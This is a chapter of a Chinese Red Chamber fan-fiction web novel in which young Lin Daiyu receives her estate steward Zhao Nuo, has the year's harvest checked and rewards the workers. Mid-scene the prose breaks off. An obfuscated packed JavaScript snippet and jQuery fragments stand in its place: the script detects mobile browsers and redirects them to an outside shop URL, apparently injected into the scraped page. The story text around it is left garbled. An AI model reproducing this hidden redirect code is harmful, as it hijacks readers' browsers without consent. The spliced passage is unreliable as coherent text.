17.第 17 章

作品:《红楼之双木成林

    又过了几日,进了腊月,南浔庄的庄头赵诺终于带着庄子上一年的收成赶到了京里。


    王亮如今已经在京里混熟了,雇了码头上的人日日盯着,远远地看见林家的船就去荣国府报信,待货船慢悠悠地停靠上岸,伙计们装卸下货才到一半,王亮便带着搬货的人和车都到了。赵诺和他都是贾敏的心腹,也认识十来年了,一见了面,自有许多话要说。


    赵诺先问:“王老弟跟着大小姐,在京中一向都好?”


    王亮引他骑马往林家宅邸去:“大小姐吃穿用度有国公府老太君关照着,自然都好,只是挂念老爷。”


    赵诺道:“老爷也时时刻刻惦记着姑娘呢!”又问,“咱们这是往国公府去?”


    “是往老爷在京中的房舍去。”王亮道,“姑娘说,平日里已经够麻烦老太太的了,又不是自己家在京里没房子,若是连收账这样的家务事都要放在荣国府做,就太不把自己当外人了。”


    赵诺是成了精的老人了,闻言便知黛玉在荣国府过得不算自在,也不点破,只笑道:“姑娘长了半岁,倒是愈发能干了。”


    到了崇文街,整条街上都是官员府邸,王亮便引赵诺下马牵行,一路与他介绍,这是钟翰林家,这是礼部主客司王主事家,这是工部宋侍郎家,这是锦乡伯府,榛爷天天来这儿上学的……


    锦乡伯府的门房显然也认识王亮,同他握拳行礼。


    赵诺忙跟着王亮一起回礼。


    过了锦乡伯府,便是林府了。当初林如海才刚考上功名,上任兰台寺大夫,又被荣国公榜下捉婿,林老侯爷便在京中置办了这套宅邸给他们夫妇居住。其实当初老侯爷还在,明明可以按照列侯宅邸的规格开五架三间的黑油金漆大门的,但却和这条街上大部分的官邸一样,门一间,堂三间,廊庑、庖厨、库房、厢房均不过三间五架。倒是进了院门,厅堂楼宇,都别有洞天,曲水回廊,花木扶疏,比起北方院落,倒更像江南园林。


    赵诺道:“怪不得老爷要把榛爷托付给锦乡伯,原来两家离得这样近。”


    王亮安排人把装车的物产都送到库房去,清点成册,赵诺笑道:“老弟这是信不过我?”


    他倒不是想偷奸耍滑,不过他本来只用从苏州到扬州去交年租,如今老爷一句话,他就得千里迢迢来京里给大小姐清账。林黛玉毕竟是个六七岁的小孩儿,他就算告诉自己多少遍不能轻视小主子,一路过来还是要忍不住有“真有这个必要么”、”姑娘才多大,她真的懂田地里的收成么”之类的念头。这时候还没见着当家的,就要被王亮安排着对账,难免不痛快。


    “赵老哥这话说得不像,今年可是大小姐当家的头一年,也是你赵老哥千里迢迢来京里送货的头一年,一路上车马劳顿,难免有折损,冻坏的、遗漏的,咱们都按着规矩流程一一走过了,大小姐也便宜,再往后那么多年呢,赵老哥都还得过来,有今年为例,往后也可少咕噜几句了。”王亮同他交情是不错,正经话说完,又悄悄同他说,“老哥是没见着前几日姑娘开这边的库房,清点器皿、家具的时候,年纪虽小,事事门清,有以为不打紧,想蒙混过关的,落了个好大的没脸。”


    其实赵诺一个田庄庄头,县官老爷都只见过一回,但一路走来,听到的都是京官老爷的大名,又听说榛爷就在一墙之隔的锦乡伯府里念书,兴许姑娘一个不高兴,还能叫来锦乡伯这样的三品大官给她撑腰呢。之前庄子上也不是没送人过来,说是姑娘觉得家里服侍的人太多了,遣散了近一半的仆从,实在没去处的,便送来庄上耕田牧牛,养蚕纺纱,可见姑娘是狠得下心肠、也做得了主的。庄头这位子又不是老子传儿子,真要抱怨多了,姑娘来一句“既然赵庄头觉得辛苦,就换个人干罢”可怎么办?


    因而王亮这话一说,他知道自己能见着姑娘本人,也笑道:“王老弟放心清点,太太在的时候多明察秋毫的人,可曾查出我有什么纰漏过?不过是远了三千多里的路,我就能漏了缺了?确实该好好点点,我也好去主子跟前露露脸。”


    那头在库房清点,林黛玉在花厅坐了一会儿,王亮家的先把赵诺带来的禀帖和帐目呈上来。黛玉早两天收到了林如海的信,说苏州今年风调雨顺,林家祖上传下的八处田庄收了约六千两银子,另有两千多石粮食,各色鱼类三百余斤、牲口各100头,活禽各两百只,留下全府上下吃的,仍能卖出三四千两银子来。贾敏嫁妆里的两处田庄乃是当年荣国公贾代善为幼女精心置办的精田,亩产只会更高。贾敏临终前亲口说了这两处庄子一年能有一千两银子的进账,今年因要送到京里来,黛玉特意吩咐了活禽、牲口等不便水路托运提前折了现银,再结合帮凤姐抄的年礼单册,她粗粗估下来,大约能有两千三百两银子左右,谁知看了单子,除必要的粮食、柴火外,赵诺竟给她送来了三千两的银子来。


    是苏州的粮价与京里不同,还是外祖母家的庄头贪了太多?黛玉思来想去,无论如何,京中的物价总比苏州要贵的,不觉一叹:“赵庄头是个实在人。”


    赵诺刚走到花厅,就听见这一句,当下感激涕零,隔得老远便磕头谢恩。


    “赵庄头一路过来辛苦了。”黛玉命给他看座,“一路上风浪可大?”


    婆子搬了一张杌凳来,赵诺见花厅里多为官帽椅,黛玉独坐一把玫瑰椅,知道自己并不逾矩,才放心坐了,又回小主人话:“承蒙姑娘惦记,在乡下劳作惯了,坐船坐车并不觉得辛苦,倒是闲得慌呢。柴粮压舱,风浪虽大,船也行得稳。”


    黛玉笑道:“今年是头一年来京里送田庄租赋,水路不易,庄头和伙计们都不容易,且在京中修整几日,这些钱赵庄头拿着,代我请伙计们吃酒听戏。”


    赵庄头接过婆子递来的一包碎银,垫了垫重量,忙道:“那我就替庄子上的佃户谢谢姑娘了,有这银子,够给大人小孩都裁件新衣裳过年了。”


    黛玉本欲赏随船来的伙计,听他这样说,便往后一看,丹青心领神会,又


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158044|195751||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    称了两包碎银子给他。


    赵诺千恩万谢地接了,被王亮安排到下人房住去了。


    紫鹃帮着姑娘把册子收好,又记上了这一笔,笑道:“这庄头倒是机灵,一句话就让姑娘多出了两倍的赏钱。”


    “宁愿他事情办得好,赏钱多给他些又何妨?也是他应得的。今年收成好,他让我过个好年,又想让佃户们也过个好年,岂能不成全他?”黛玉道。


    紫鹃道:“还是姑娘心善。”又问,“丹青姐姐怎么会称银子的?”


    丹青惊讶地问她:“你不会看称?”


    紫鹃道:“也只有各房的大丫头会,我原伺候老太太的,有鸳鸯在,我只管贴身伺候老太太的饮食和伺候她吃药,偶尔传传话。要用到银子的事,只有鸳鸯能干,我插手不得。袭人原也不会,后来到了宝玉那里,宝玉不喜欢李嬷嬷老跟在后面唠叨,房里的丫头又属她最大,才特意学了。麝月、秋雯她们也都不会呢。也只有像二奶奶这样管家的,她房里的平儿、丰儿都会打算盘。就连太太房里,彩霞、彩云她们因是新来的,也全看着金钏、玉钏姐俩管钱呢。”


    原来她是照顾外祖母吃药的丫头?黛玉听了,知道外祖母是看自己身子弱,特意拨了这么个丫头过来,一时倒有些感怀,只是紫鹃这话实在叫她哭笑不得:“回去就让丹青教教你,一个房里只有一个人会怎么得了?她别歇了,还是她不在,就不用银子了?”


    紫鹃想了一想,还真没见鸳鸯不在老太太房里过,笑道:“姑娘别笑,这实是那边府里的规矩,别说奴才们了,就是宝玉宝二爷,他也不见得知道怎么称。”


    “他自幼锦衣玉食,从没短过吃缺,自然是不用算账的。”黛玉冷笑一声,又对紫鹃道,“我就不同了,我远的有苏州的田产,还有一两处铺子,近的有两边下人的来往打点,都得你们几个帮衬呢,你可得学一学。”


    紫鹃心里也知道学了这些能比单做伺候吃穿的丫头有前途得多,立刻表态会好好学。


    丹青笑道:“先从领钱学起罢。碎银和铜钱肯定比整银用起来方便的,我慢慢教你。”


    紫鹃又问:“姑娘见这赵庄头,也没用多久,为何不索性在荣国府见了他,还需要特意跑这一趟。”


    丹青摇了摇头:“你只看姑娘见他只说了这一两句话,却不知,若没有前头的人盘点入库的那半天,庄头起了心思,一头盘剥一头蒙骗的话,姑娘明年恐怕就得多花不少时辰和他周旋了。”


    更何况,黛玉也打了主意,让人领着赵诺一路从各家官邸过来,算是借各家的势震慑震慑庄头。诚然荣国府三路五进的院落更恢弘阔大,盛气凌人,可是姑娘在那府上只是客人,还是在主人眼里“小孩子家家”的客人,赵诺从角门进去,又一路要见识那么多贾家的下人,谁知道会不会也被他们口中的话影响了?黛玉面对的是一个精明强干的庄头,她必须展示自己在这样达官显贵聚集的地方,仍是一家之主,才镇得住今天这样的场子。